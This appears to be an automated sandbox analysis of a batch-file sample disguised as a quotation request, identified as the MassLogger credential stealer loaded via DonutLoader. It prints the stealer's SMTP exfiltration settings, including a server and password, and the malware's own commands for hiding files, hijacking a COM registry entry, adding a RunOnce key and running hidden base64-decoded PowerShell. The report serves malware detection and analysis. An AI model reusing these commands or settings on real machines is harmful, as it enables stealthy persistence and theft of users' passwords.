Analysis
- max time kernel
298s - max time network
302s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
25/04/2026, 14:58
General
- Target RFQ-SPD-5520-GBR-107-2026.bat
- Size 145KB
- Sample260425-scelwsdx4m
- SHA256 2168a3295dc3efc1cd46ba5c7052a95645bd92e09002b69ab4ec5277ef678c78
Malware Config
Extracted
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masslogger
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exfiltration_mode
#SMTPEnabled
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expire_time_date
2025-12-17
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host_password
dy8tm;jRtJO[:bG:
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host_port
587
- host_receiver
- host_sender
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host_server
mail.taikei-rmc-co.biz
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ssl_slate
True
Signatures
- Family: DonutLoader
DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
- Family: MassLogger
Masslogger is a .NET stealer targeting passwords from browsers, email and cryptocurrency clients.
- Detects DonutLoader 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Modifies registry class 6 IoCs
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of WriteProcessMemory 11 IoCs
- Views/modifies file attributes 1 TTPs 1 IoCs
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Accesses Microsoft Outlook profiles
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\RFQ-SPD-5520-GBR-107-2026.bat"2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\RFQ-SPD-5520-GBR-107-2026.bat"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Body.bat"4⤵
- Views/modifies file attributes
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C:\Windows\system32\reg.exereg add "HKCU\Software\Classes\CLSID\{1C50C521-25CE-D275-9DD9-EE8976D9535E}" /ve /t REG_SZ /d "System Shell Extension" /f4⤵
- Modifies registry class
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C:\Windows\system32\reg.exereg add "HKCU\Software\Classes\CLSID\{1C50C521-25CE-D275-9DD9-EE8976D9535E}\InProcServer32" /ve /t REG_SZ /d "rundll32.exe" /f4⤵
- Modifies registry class
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C:\Windows\system32\reg.exereg add "HKCU\Software\Classes\CLSID\{1C50C521-25CE-D275-9DD9-EE8976D9535E}\InProcServer32" /v "ThreadingModel" /t REG_SZ /d "Apartment" /f4⤵
- Modifies registry class
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C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "Pant" /t REG_SZ /d "cmd.exe /c \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Body.bat\"" /f4⤵
- Adds Run key to start application
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -c "$d=Get-Content 'C:\Users\Admin\AppData\Local\Temp\Head.tmp' -Raw;$d=$d-replace'`r',''-replace'`n','';[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($d))|Out-File 'C:\Users\Admin\AppData\Local\Temp\Objective.ps1' -Encoding UTF8"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -f "C:\Users\Admin\AppData\Local\Temp\Objective.ps1"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\o5kjrskw\o5kjrskw.cmdline"5⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1901.tmp" "c:\Users\Admin\AppData\Local\Temp\o5kjrskw\CSC18A251CAB09C4AF5A3F9D0F8F536493A.TMP"6⤵
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Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Component Object Model Hijacking
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Component Object Model Hijacking
1Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
Head.tmp
Head.tmp
Objective.ps1
RES1901.tmp
__PSScriptPolicyTest_wc0luyqo.num.ps1
o5kjrskw.dll
Body.bat
CSC18A251CAB09C4AF5A3F9D0F8F536493A.TMP
o5kjrskw.0.cs
o5kjrskw.cmdline
memory/3128-84-0x000000000F9C0000-0x000000000FB82000-memory.dmp
memory/3128-83-0x00000000046A0000-0x00000000046F0000-memory.dmp
memory/3128-79-0x0000000004E80000-0x0000000004E9E000-memory.dmp
memory/3128-76-0x0000000003400000-0x0000000003414000-memory.dmp
memory/4260-71-0x000001864BBA0000-0x000001864BBAC000-memory.dmp
memory/5512-68-0x0000022CCC3B0000-0x0000022CCC3BC000-memory.dmp
memory/5664-75-0x000001CAE2CE0000-0x000001CAE2CF2000-memory.dmp
memory/5664-81-0x000001CAE0F40000-0x000001CAE0F4C000-memory.dmp
memory/5664-73-0x000001CAE2D60000-0x000001CAE2D68000-memory.dmp
memory/5664-74-0x000001CAE0F40000-0x000001CAE0F4C000-memory.dmp
memory/6100-38-0x000002498F100000-0x000002498F122000-memory.dmp
memory/6100-35-0x00000249A7310000-0x00000249A7320000-memory.dmp
memory/6100-34-0x00000249A7310000-0x00000249A7320000-memory.dmp
memory/6100-49-0x000002498EBD0000-0x000002498EBE2000-memory.dmp
memory/6100-43-0x00000249A7310000-0x00000249A7320000-memory.dmp
memory/6100-48-0x000002498EB30000-0x000002498EB3C000-memory.dmp